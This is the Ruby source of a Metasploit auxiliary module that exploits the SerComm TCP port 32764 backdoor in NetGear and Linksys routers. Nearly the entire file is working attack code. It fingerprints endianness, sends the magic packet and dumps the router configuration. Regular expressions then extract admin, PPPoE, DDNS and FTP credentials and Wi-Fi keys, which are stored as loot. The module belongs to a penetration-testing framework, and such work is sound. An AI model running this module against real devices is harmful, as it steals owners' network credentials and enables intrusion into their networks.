Path: blob/master/modules/auxiliary/admin/misc/sercomm_dump_config.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89SETTINGS = {10'Creds' => [11[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],12[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],13[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],14[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],15[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],16[ 'CMS', { 'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras17[ 'BigPondAuth', { 'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra18[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],19[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],20],21'General' => [22['Wifi SSID', /wifi_ssid=(\S+)/i],23['Wifi Key 1', /wifi_key1=(\S+)/i],24['Wifi Key 2', /wifi_key2=(\S+)/i],25['Wifi Key 3', /wifi_key3=(\S+)/i],26['Wifi Key 4', /wifi_key4=(\S+)/i],27['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]28]29}3031attr_accessor :endianness, :credentials3233def initialize(info = {})34super(35update_info(36info,37'Name' => 'SerComm Device Configuration Dump',38'Description' => %q{39This module will dump the configuration of several SerComm devices. These devices40typically include routers from NetGear and Linksys. This module was tested41successfully against the NetGear DG834 series ADSL modem router.42},43'License' => MSF_LICENSE,44'Author' => [45'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc46'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module47],48'References' => [49[ 'OSVDB', '101653' ],50[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]51],52'DisclosureDate' => '2013-12-31',53'Notes' => {54'Stability' => [CRASH_SAFE],55'SideEffects' => [IOC_IN_LOGS],56'Reliability' => []57}58)59)6061register_options(62[63Opt::RPORT(32764),64]65)66end6768def run69print_status('Attempting to connect and check endianness...')70@endianness = fingerprint_endian71@credentials = {}7273if endianness.nil?74print_error('Failed to check endianness, aborting...')75return76end77print_good("#{string_endianess} device found...")7879print_status('Attempting to connect and dump configuration...')80config = dump_configuration8182if config.nil?83print_status('Error retrieving configuration, aborting...')84return85end8687loot_file = store_loot('router.config', 'text/plain', rhost, config[:data], "#{rhost}router_config.txt", 'Router Configurations')88print_good("Router configuration dump stored in: #{loot_file}")8990parse_configuration(config[:data])91end9293def report_cred(opts)94service_data = {95address: opts[:ip],96port: opts[:port],97service_name: opts[:service_name],98protocol: 'tcp',99workspace_id: myworkspace_id100}101102credential_data = {103origin_type: :service,104module_fullname: fullname,105username: opts[:user],106private_data: opts[:password],107private_type: :password108}.merge(service_data)109110login_data = {111core: create_credential(credential_data),112status: Metasploit::Model::Login::Status::UNTRIED,113proof: opts[:proof]114}.merge(service_data)115116create_credential_login(login_data)117end118119private120121def little_endian?122return endianness == 'LE'123end124125def big_endian?126return endianness == 'BE'127end128129def string_endianess130if little_endian?131return 'Little Endian'132elsif big_endian?133return 'Big Endian'134end135136return nil137end138139def fingerprint_endian140begin141connect142sock.put(Rex::Text.rand_text(5))143res = sock.get_once(-1, 10)144disconnect145rescue Rex::ConnectionError => e146print_error("Connection failed: #{e.class}: #{e}")147return nil148end149150unless res151return nil152end153154if res.start_with?('MMcS')155return 'BE'156elsif res.start_with?('ScMM')157return 'LE'158end159160return nil161end162163def dump_configuration164if big_endian?165pkt = [0x4d4d6353, 0x01, 0x00].pack('NVV')166elsif little_endian?167pkt = [0x4d4d6353, 0x01, 0x00].pack('VNN')168else169return nil170end171172connect173sock.put(pkt)174res = sock.get_once(-1, 10)175176disconnect177178if res.blank?179vprint_error('No answer...')180return181end182183if big_endian?184mark, zero, length, data = res.unpack('NVVa*')185else186mark, zero, length, data = res.unpack('VNNa*')187end188189unless mark == 0x4d4d6353190vprint_error('Incorrect mark when reading response')191return nil192end193194unless zero == 0195vprint_error('Incorrect zero when reading response')196return nil197end198199unless length == data.length200vprint_warning('Inconsistent length / data packet')201# return nil202end203204return { length: length, data: data }205end206207def parse_configuration(data)208configs = data.split(?\x00)209210if datastore['VERBOSE']211vprint_status('All configuration values:')212configs.sort.each do |i|213if i.strip.match(/.*=\S+/)214vprint_status(i)215end216end217end218219configs.each do |config|220parse_general_config(config)221parse_auth_config(config)222end223224@credentials.each do |k, v|225next unless v[:user] && v[:password]226227print_good("#{k}: User: #{v[:user]} Pass: #{v[:password]}")228report_cred(229ip: rhost,230port: rport,231user: v[:user],232password: v[:password],233service_name: 'sercomm',234proof: v.inspect235)236end237end238239def parse_general_config(config)240SETTINGS['General'].each do |regex|241if config.match(regex[1])242value = ::Regexp.last_match(1)243print_status("#{regex[0]}: #{value}")244end245end246end247248def parse_auth_config(config)249SETTINGS['Creds'].each do |cred|250@credentials[cred[0]] = {} unless @credentials[cred[0]]251252# find the user/pass253if config.match(cred[1]['user'])254@credentials[cred[0]][:user] = ::Regexp.last_match(1)255end256257if config.match(cred[1]['pass'])258@credentials[cred[0]][:password] = ::Regexp.last_match(1)259end260end261end262end263264265